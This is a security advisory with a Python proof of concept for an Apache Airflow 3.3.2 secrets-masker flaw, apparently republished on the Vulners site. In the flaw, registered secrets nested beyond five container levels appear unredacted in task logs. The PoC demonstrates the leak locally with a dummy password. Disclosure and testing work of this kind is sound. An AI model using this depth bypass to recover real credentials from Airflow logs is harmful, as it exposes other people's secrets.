Apache Airflow 3.3.2 (mask_secret()) Secrets Masker Deep-Nesting Secret Leak
<html><body><p>#!/usr/bin/env python
#
#
# Apache Airflow 3.3.2 (mask_secret()) Secrets Masker Deep-Nesting Secret Leak
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://airflow.apache.org
# Affected version: 3.3.2
#
# Summary: Apache Airflow is an open-source platform for developing,
# scheduling, and monitoring workflows, such as traditional time based
# or event-triggered batch-oriented data pipelines, machine learning,
# model training, and agentic or LLM-based workloads. Airflow's extensible
# Python framework enables you to build workflows connecting with virtually
# any technology, with a growing set of providers for orchestrating AI
# and agentic tools alongside the rest of your pipeline. A web-based UI
# helps you visualize, manage, and debug your workflows. You can run Airflow
# in a variety of configurations - from a single process on your laptop
# to a distributed system capable of handling massive workloads.
#
# Desc: Apache Airflow suffers from a sensitive information disclosure
# vulnerability caused by an incomplete secret-masking routine. In the
# secrets masker, container structures are walked without a depth limit
# for key-name redaction, but pattern-based masking of registered secrets
# is applied only to string values at or below a fixed recursion depth
# (MAX_RECURSION_DEPTH): beyond that depth the scalar is returned as-is,
# before the secret-replacement step runs. As a result, a configured secret
# that appears as a string value nested under non-sensitive keys several
# container levels deep is not redacted and is emitted in clear text to
# task logs. An operator, or anyone with log access, can recover credentials
# that were expected to be masked.
#
# ========================================================================
# depth 0: masked (***)
# ...
# depth 5: masked (***)
# depth 6: LEAK (cleartext)
# ...
# [+] depth-6 result (as stored/shown in Rendered Templates / task logs):
# {'op_kwargs': {'a': {'b': {'c': {'d': {'e': {'l6': 'S3cr3t-Pa55word-y0'}}}}}}}
# [+] LEAK CONFIRMED - mask_secret() value returned in cleartext past depth 5.
# ========================================================================
#
# Tested on: GNU/Linux x86_64
# Python 3.10+
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2026-6018
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6018
#
#
# 13.08.2026
#
r"""
This PoC imports the REAL SecretsMasker from the installed apache-airflow
and reproduces the leak at the library level (no running Airflow, no DAG
needed). Requires: pip install apache-airflow (>= 3.x).
"""
import importlib, sys
SECRET = "S3cr3t-Pa55word-y0"
CANDIDATES = [
"airflow.sdk.execution_time.secrets_masker",
"airflow._shared.secrets_masker",
"airflow.sdk._shared.secrets_masker",
"airflow_shared.secrets_masker",
"airflow.utils.log.secrets_masker",
]
mod = None
for name in CANDIDATES:
try:
m = importlib.import_module(name)
except Exception:
continue
if hasattr(m, "redact") and (hasattr(m, "mask_secret") or hasattr(m, "SecretsMasker")):
mod = m
print(f"[*] using the real Airflow masker: {name}")
break
if mod is None:
sys.exit("[!] Airflow SecretsMasker not importable. Install it: pip install apache-airflow")
if hasattr(mod, "mask_secret"):
mod.mask_secret(SECRET)
redact = mod.redact
else:
sm = mod.SecretsMasker()
sf = getattr(mod, "DEFAULT_SENSITIVE_FIELDS", None)
if sf is not None:
try: sm.sensitive_variables_fields = list(sf)
except Exception: pass
for attr, val in (("hide_sensitive_var_conn_fields", True), ("min_length_to_mask", 5)):
try: setattr(sm, attr, val)
except Exception: pass
sm.add_mask(SECRET) # mask_secret(SECRET)
redact = sm.redact
def nest(depth, leaf):
n = leaf
for i in range(depth):
n = {f"level{depth - i}": n}
return n
print(f"[*] registered secret via mask_secret(): {SECRET!r}")
print("[*] redacting it under the NON-sensitive field 'op_kwargs' at increasing nesting depth:\n")
for d in range(0, 9):
out = redact(nest(d, SECRET), "op_kwargs")
print(f" depth {d}: {'LEAK (cleartext)' if SECRET in repr(out) else 'masked (***)'}")
deep = {"op_kwargs": {"a": {"b": {"c": {"d": {"e": {"l6": SECRET}}}}}}}
out = redact(deep, "op_kwargs")
print("\n[+] depth-6 result (as stored/shown in Rendered Templates / task logs):")
print(" " + repr(out))
print("\n[+] LEAK CONFIRMED - mask_secret() value returned in cleartext past depth 5."
if SECRET in repr(out) else "\n[-] not reproduced on this build.")
</p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Oct 2026 00:00Current
6Medium risk
Vulners AI Score6